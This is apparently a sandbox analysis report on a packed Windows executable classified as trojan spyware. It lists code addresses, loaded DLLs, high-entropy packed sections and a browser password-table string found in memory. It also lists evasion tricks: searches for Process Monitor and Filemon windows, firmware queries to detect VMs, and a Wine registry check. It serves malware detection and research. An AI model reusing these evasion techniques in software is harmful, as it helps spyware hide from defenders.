Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C84CB0	0_2_00C84CB0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE2CA0	0_2_00DE2CA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA0C5A	0_2_00DA0C5A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7EC58	0_2_00D7EC58
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D8EC49	0_2_00D8EC49
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DEAC44	0_2_00DEAC44
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D52C48	0_2_00D52C48
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4CC77	0_2_00D4CC77
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D62C16	0_2_00D62C16
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEAC0F	0_2_00CEAC0F
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF6C0E	0_2_00CF6C0E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB6C00	0_2_00CB6C00
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D1EC1D	0_2_00D1EC1D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E00C06	0_2_00E00C06
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4EC2F	0_2_00D4EC2F
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF2C32	0_2_00CF2C32
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D92C24	0_2_00D92C24
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D82DD5	0_2_00D82DD5
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB2DCB	0_2_00DB2DCB
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4CDC6	0_2_00D4CDC6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D30DC0	0_2_00D30DC0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D44DC3	0_2_00D44DC3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D36DCA	0_2_00D36DCA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DC8DC3	0_2_00DC8DC3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D54DF1	0_2_00D54DF1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7EDF3	0_2_00D7EDF3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D9CDE3	0_2_00D9CDE3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE0D8D	0_2_00CE0D8D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D34DB3	0_2_00D34DB3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAEDA1	0_2_00DAEDA1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D24D53	0_2_00D24D53
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DCCD53	0_2_00DCCD53
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DC0D4D	0_2_00DC0D4D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEAD54	0_2_00CEAD54
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE6D6C	0_2_00CE6D6C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D70D7A	0_2_00D70D7A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD0D73	0_2_00DD0D73
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D80D6B	0_2_00D80D6B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E02D54	0_2_00E02D54
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D86D61	0_2_00D86D61
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D48D1E	0_2_00D48D1E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAAD36	0_2_00DAAD36
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF0D33	0_2_00CF0D33
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D3EED9	0_2_00D3EED9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB8ED7	0_2_00DB8ED7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DBEEC3	0_2_00DBEEC3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA8EC6	0_2_00DA8EC6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DF6EF2	0_2_00DF6EF2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CB0EF0	0_2_00CB0EF0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D5AE97	0_2_00D5AE97
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D5EE93	0_2_00D5EE93
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA2E94	0_2_00DA2E94
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CFAE80	0_2_00CFAE80
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CFCE99	0_2_00CFCE99
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D20E8E	0_2_00D20E8E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD6E83	0_2_00DD6E83
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D56EBC	0_2_00D56EBC
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D40EBB	0_2_00D40EBB
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D42EA5	0_2_00D42EA5
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D0EEA4	0_2_00D0EEA4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CA6E50	0_2_00CA6E50
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D96E42	0_2_00D96E42
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DB4E6B	0_2_00DB4E6B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D66E64	0_2_00D66E64
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E04E5A	0_2_00E04E5A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DFCE10	0_2_00DFCE10
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE8E0E	0_2_00DE8E0E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D18E06	0_2_00D18E06
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD4E05	0_2_00DD4E05
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE0E01	0_2_00DE0E01
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E42E17	0_2_00E42E17
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DBAE25	0_2_00DBAE25
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D3AE2C	0_2_00D3AE2C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DEAFD9	0_2_00DEAFD9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D2EFE6	0_2_00D2EFE6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DC8FE8	0_2_00DC8FE8
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D52FE3	0_2_00D52FE3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D9AFE3	0_2_00D9AFE3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D98F8A	0_2_00D98F8A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DEEF87	0_2_00DEEF87
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C82FA0	0_2_00C82FA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7CFB9	0_2_00D7CFB9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD2FB2	0_2_00DD2FB2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CECFB8	0_2_00CECFB8
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D60FA0	0_2_00D60FA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D12F42	0_2_00D12F42
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D22F7C	0_2_00D22F7C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DDCF6F	0_2_00DDCF6F
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D00F12	0_2_00D00F12
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE0F03	0_2_00CE0F03
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D1CF04	0_2_00D1CF04
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DF4F05	0_2_00DF4F05
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6EF0D	0_2_00D6EF0D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DF0F01	0_2_00DF0F01
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE4F3C	0_2_00DE4F3C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DCCF3F	0_2_00DCCF3F
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DACF3D	0_2_00DACF3D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E370EB	0_2_00E370EB
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DFB0FD	0_2_00DFB0FD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C9B0E1	0_2_00C9B0E1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C9F0E0	0_2_00C9F0E0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DE90F1	0_2_00DE90F1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF30FA	0_2_00CF30FA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D75090	0_2_00D75090
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6B09A	0_2_00D6B09A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E0B085	0_2_00E0B085
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DF90B7	0_2_00DF90B7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DC50A9	0_2_00DC50A9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6F0AE	0_2_00D6F0AE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CBB068	0_2_00CBB068
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF500B	0_2_00CF500B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D8901C	0_2_00D8901C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D07016	0_2_00D07016
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D27003	0_2_00D27003
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4D001	0_2_00D4D001
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D11008	0_2_00D11008
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D2B00C	0_2_00D2B00C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA1005	0_2_00DA1005
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D17033	0_2_00D17033
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D9302E	0_2_00D9302E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CAB1C0	0_2_00CAB1C0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D3D1DD	0_2_00D3D1DD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D371C1	0_2_00D371C1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CF71D1	0_2_00CF71D1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D871F9	0_2_00D871F9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE11ED	0_2_00CE11ED
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C911E5	0_2_00C911E5
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D0D1E1	0_2_00D0D1E1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE51F7	0_2_00CE51F7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DA31E5	0_2_00DA31E5
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CE919C	0_2_00CE919C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D011B6	0_2_00D011B6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D4D1A6	0_2_00D4D1A6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C9714B	0_2_00C9714B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D2F15A	0_2_00D2F15A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEF15E	0_2_00CEF15E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7D166	0_2_00D7D166
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD911C	0_2_00DD911C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D19100	0_2_00D19100
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CAB12C	0_2_00CAB12C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CAF130	0_2_00CAF130
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DBD120	0_2_00DBD120
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D7712A	0_2_00D7712A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DD52DD	0_2_00DD52DD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DFF2D2	0_2_00DFF2D2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6F2C7	0_2_00D6F2C7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00C992DA	0_2_00C992DA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D392FD	0_2_00D392FD

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: String function: 00C87F70 appears 46 times
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: String function: 00C94060 appears 74 times

Source: hiip7UoiAq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: hiip7UoiAq.exe	Static PE information: Section: ZLIB complexity 1.000140464469178
Source: hiip7UoiAq.exe	Static PE information: Section: pueruzso ZLIB complexity 0.9948552263914233

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/2

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Code function: 0_2_00CACFE0 CoCreateInstance,

0_2_00CACFE0

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hiip7UoiAq.exe, 00000000.00000003.1436807956.0000000005F15000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1468676351.0000000005F41000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1436529047.0000000005F34000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: hiip7UoiAq.exe

ReversingLabs: Detection: 57%

Source: hiip7UoiAq.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

File read: C:\Users\user\Desktop\hiip7UoiAq.exe

Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: hiip7UoiAq.exe

Static file information: File size 1848832 > 1048576

Source: hiip7UoiAq.exe

Static PE information: Raw size of pueruzso is bigger than: 0x100000 < 0x19b000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Unpacked PE file: 0.2.hiip7UoiAq.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pueruzso:EW;uufzbkcy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pueruzso:EW;uufzbkcy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: hiip7UoiAq.exe

Static PE information: real checksum: 0x1cf59f should be: 0x1d0720

Source: hiip7UoiAq.exe	Static PE information: section name:
Source: hiip7UoiAq.exe	Static PE information: section name: .idata
Source: hiip7UoiAq.exe	Static PE information: section name:
Source: hiip7UoiAq.exe	Static PE information: section name: pueruzso
Source: hiip7UoiAq.exe	Static PE information: section name: uufzbkcy
Source: hiip7UoiAq.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CD856C push esi; mov dword ptr [esp], eax	0_2_00CD856D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CD93BB push ebx; mov dword ptr [esp], esi	0_2_00CD984A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00ED80DA push edi; mov dword ptr [esp], edx	0_2_00ED80DE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00ED80DA push edi; mov dword ptr [esp], ebx	0_2_00ED819E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00EA40B1 push ebx; mov dword ptr [esp], edi	0_2_00EA40D6
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E7A091 push 5B6F714Eh; mov dword ptr [esp], esi	0_2_00E7A0CA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push esi; mov dword ptr [esp], 53FF8941h	0_2_00DAE4AD
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push ebx; mov dword ptr [esp], 35938466h	0_2_00DAE4C0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push 0B8AEE37h; mov dword ptr [esp], ecx	0_2_00DAE533
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push eax; mov dword ptr [esp], ebp	0_2_00DAE576
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push 7AAE9F7Eh; mov dword ptr [esp], eax	0_2_00DAE586
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push edi; mov dword ptr [esp], esi	0_2_00DAE5AB
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push 7DAF56C1h; mov dword ptr [esp], esp	0_2_00DAE5E8
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push eax; mov dword ptr [esp], ecx	0_2_00DAE60A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00DAE062 push 1CB305B0h; mov dword ptr [esp], ebx	0_2_00DAE6AE
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C00B push 41CBC357h; mov dword ptr [esp], edi	0_2_00D6C030
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C00B push 22290404h; mov dword ptr [esp], esi	0_2_00D6C038
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C00B push ebx; mov dword ptr [esp], esi	0_2_00D6C0D9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C00B push edi; mov dword ptr [esp], 350B6900h	0_2_00D6C107
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00D6C00B push 2C0F7C35h; mov dword ptr [esp], esi	0_2_00D6C11E
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEA1D4 push ebx; mov dword ptr [esp], ecx	0_2_00CEA75D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00CEA1D4 push 67E04181h; mov dword ptr [esp], ecx	0_2_00CEA836
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push eax; mov dword ptr [esp], ebx	0_2_00E3C1E2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push edx; mov dword ptr [esp], edi	0_2_00E3C23D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push 2D365A2Ch; mov dword ptr [esp], eax	0_2_00E3C262
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push edx; mov dword ptr [esp], ecx	0_2_00E3C26C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push esi; mov dword ptr [esp], edi	0_2_00E3C311
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push ebp; mov dword ptr [esp], 63DB5402h	0_2_00E3C3B3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push 649C4E7Fh; mov dword ptr [esp], edx	0_2_00E3C3F4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push 38637D9Fh; mov dword ptr [esp], ebx	0_2_00E3C402
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 0_2_00E3C1DE push 6924B027h; mov dword ptr [esp], esi	0_2_00E3C421

Source: hiip7UoiAq.exe	Static PE information: section name: entropy: 7.986042454440073
Source: hiip7UoiAq.exe	Static PE information: section name: pueruzso entropy: 7.954204900052569

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
